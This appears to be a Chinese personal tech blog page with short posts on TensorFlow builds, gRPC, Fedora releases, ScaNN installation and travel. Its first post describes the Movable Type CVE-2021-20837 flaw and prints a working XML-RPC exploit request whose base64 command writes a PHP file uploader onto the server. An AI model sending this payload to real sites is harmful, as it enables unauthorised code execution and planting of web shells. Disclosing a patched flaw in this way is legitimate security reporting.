Movable Type最近爆雷,攻击者可以通过SOAP协议的methodName中指定mt.handler_to_coderef来执行base64中的内容,如:

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>mt.handler_to_coderef</methodName>
<params>
<param>
<value>
<base64>
YGVjaG8gUEQ5d2FIQWdhV1lvSkY5UVQxTlVLWHRwWmloQVkyOXdlU2drWDBaSlRFVlRXeUl3SWwxYkluUnRjRjl1WVcxbElsMHNKRjlHU1V4RlUxc2lNQ0pkV3lKdVlXMWxJbDBwS1h0bFkyaHZJbGtpTzMxbGJITmxlMlZqYUc4aVRpSTdmWDFsYkhObGUyVmphRzhpUEdadmNtMGdiV1YwYUc5a1BYQnZjM1FnWlc1amRIbHdaVDF0ZFd4MGFYQmhjblF2Wm05eWJTMWtZWFJoUGp4cGJuQjFkQ0IwZVhCbFBXWnBiR1VnYm1GdFpUMHdQanhwYm5CMWRDQnVZVzFsUFRBZ2RIbHdaVDF6ZFdKdGFYUWdkbUZzZFdVOWRYQStJanQ5UHo0PSB8IGJhc2U2NCAtZCB8IHRlZSBmaWxlLXVwbG9hZGVyLnBocGA
</base64>
</value>
</param>
</params>
</methodCall>

官方最新版本(v7.9.0)已经修复。

详情见:https://medium.com/@TutorialBoy24/an-unauthenticated-rce-vulnerability-in-movabletype-cve-2021-20837-70664b159dd7

关于tensorflow编译链接问题

Tensorflow的编译工程化做得不好,主要表现以下几个方面

  1. 工程的依赖库默认从远程下载,而对于网络条件不好或中国地区用户,无法获得远程的依赖;且在repo.bzl中固化了mirror.tensorflow.org字样的代码,导致无法替换有效的镜像地址;
  2. 工程编译速度非常慢(64Core大于10分钟),由于所有依赖都采用源代码进行编译,虽然编译工具bazel有缓存,但是仍然非常之慢;整个源代码编译在一个库里,好处是对于不同的操作系统,尤其是分布式集群,分发看似方便一些,不需要依赖安装,但同时带来了隐患,依赖缺乏有效管理,导致底层的依赖有问题,需要升级,是很难覆盖,且不知道tensorflow依赖它;
  3. 工程依赖可视化管理比较差,上述已经提到,由于bazel的基因它只是一个编译工具,但它又想把依赖这件事情做好,具备很好的灵活性,有点像node和go库,但对于C/C++工程来说,每个库是远远比node和go库重一些,且很多是多层多次依赖,一般由操作系统来进行包的依赖管理,但bazel想自己做成一个王国,就有点勉强了。

回到tensorflow上来说,很现实的问题,系统的protobuf库使用的是高版本,而tensorflow 1.15.5版本内置的protobuf源码版本很低,如果tensorflow版本默认编译,低版本的protobuf符号会连接到tensorflow的库中,当我们应用需要protobuf高版本以及tensorflow库时,该应用的编译和连接没有问题,但运行时,会出现protobuf符号连接版本问题,那么这个时候需要解决版本冲突问题,当然问题不仅仅只有protobuf库,其他的库也是一样;故需要去指定系统环境的依赖库达到目的,由于bazel只有基本语法规范,但重要的还是tensorflow本身自己的编译工程需要去解决。
前面提到了tensorflow工程上的一些问题,对于系统提供的库,我们需要额外的cc_library和new_local_repository来代替new_http_archive,幸运的是,tensorflow考虑到了本地系统的依赖库,其配置在third_party/systemlibs中,syslibs_configure.bzl文件中有详细的依赖说明,故根据源文件查到环境变量TF_SYSTEM_LIBS来控制那些第三方依赖使用系统的库,故编译选项如下:

bazel build --action_env TF_SYSTEM_LIBS='boringssl,com_google_protobuf,grpc,zlib_archive,pcre,jsoncpp_git,curl,com_googlesource_code_re2,snappy,hwloc,lmdb,org_sqlite' --copt=-mavx2 --copt=-mfma --copt=-mavx512f //tensorflow/tools/lib_package:libtensorflow

即解决依赖库用系统已经编译好的库的问题

fedora35发布了

最近Fedora官方发布了Fedora 35,带来了一系列的改进:

  • 全新体验GNOME 41
  • 隐私保护DNS over TLS(DoT)
  • Linux 5.14内核:针对ARM改进;GPU 优化; USB 4 的支持

一般奇数版本相对比较稳定,可以尝试一下哟

gcc11.2 与 c++11 的一些编译问题

gcc这几年发展很快,C++20标准之后,gcc版本也随之到了GCC11了,老的代码还是在C++11的标准上,使用-std=c++11来进行编译。

GRPC一个退出发生Core的问题

使用google grpc库的时候,发现退出的时候,老出现

E0926 14:45:25.194821726 255651 completion_queue.cc:247] assertion failed: queue.num_items() == 0
已放弃 (核心已转储)

其解决办法是,在编译链接选项上加入

-lgrpc++_reflection

即可避免

Traval in Singapore

曾经去过新加坡的朋友回国都说新加坡如何如何的好,于是乎有机会也踏上了新加坡之旅。

新加坡是个发达国家,基本上以说英语和中文为主,所以不必担心自己的口语不好而感觉尴尬。

离开鹏城的倒计时

三年时间,不长也不短,终于决定要离开了。

鹏城的印象:创新企业很多,有很好的政策支持;房子贵;交通罚款厉害 :)

办完交接,与平时的同事聚聚最后2天的日子,友谊留存,但天下没有不散的筵席,各位珍重。

scann安装的问题

在CentOS7.4上安装向量搜索scann时,发现出现"Could not load dynamic library 'libcudart.so.11.0'; dlerror: libcudart.so.11.0" 字样的错误,有2种解决办法:

(1)安装tensorflow-cpu或tensorflow-gpu

根据机器是否支持GPU,选择对应库安装:

pip3 install scann -i https://mirrors.aliyun.com/pypi/simple

pip3 uninstall tensorflow-cpu

pip3 install tensorflow-cpu -i https://mirrors.aliyun.com/pypi/simple

(2)去英伟达官网下载cudatoolkit库

访问: https://developer.nvidia.com/cuda-downloads,去找到对应系统的版本下载安装

另外,注意的是pip安装是自有用户目录,所以别忘记将bin目录加入PATH

export PATH=/$HOME/.local/bin:$PATH

这样就可以按照scann的官方例子运行demo程序,详情demo见(https://github.com/google-research/google-research/blob/master/scann/docs/example.ipynb)

fedora34发布了

fedora34发布了,带来了新的变化,新的gnome40... 快去尝鲜吧 -> https://getfedora.org/en/workstation/download/

fedora33从kernel-5.8.16-300升级到kernel-5.9.x之后,发现无法进行启动,启动提示如下错误:

failed to start rule-based r for device events and files
并停留在logo页,当前在kernel-5.9.10版本已解决,主要原因是内核引入bug,磁盘分区识别有问题导致。
BTW:在kernel-5.9.10之后的版本又出现同样的问题,估计代码合入造成;在kernel-5.12.13-200.fc33.x86_64又再次修复。

Monthly Archives

Pages

Powered by Movable Type 7.9.0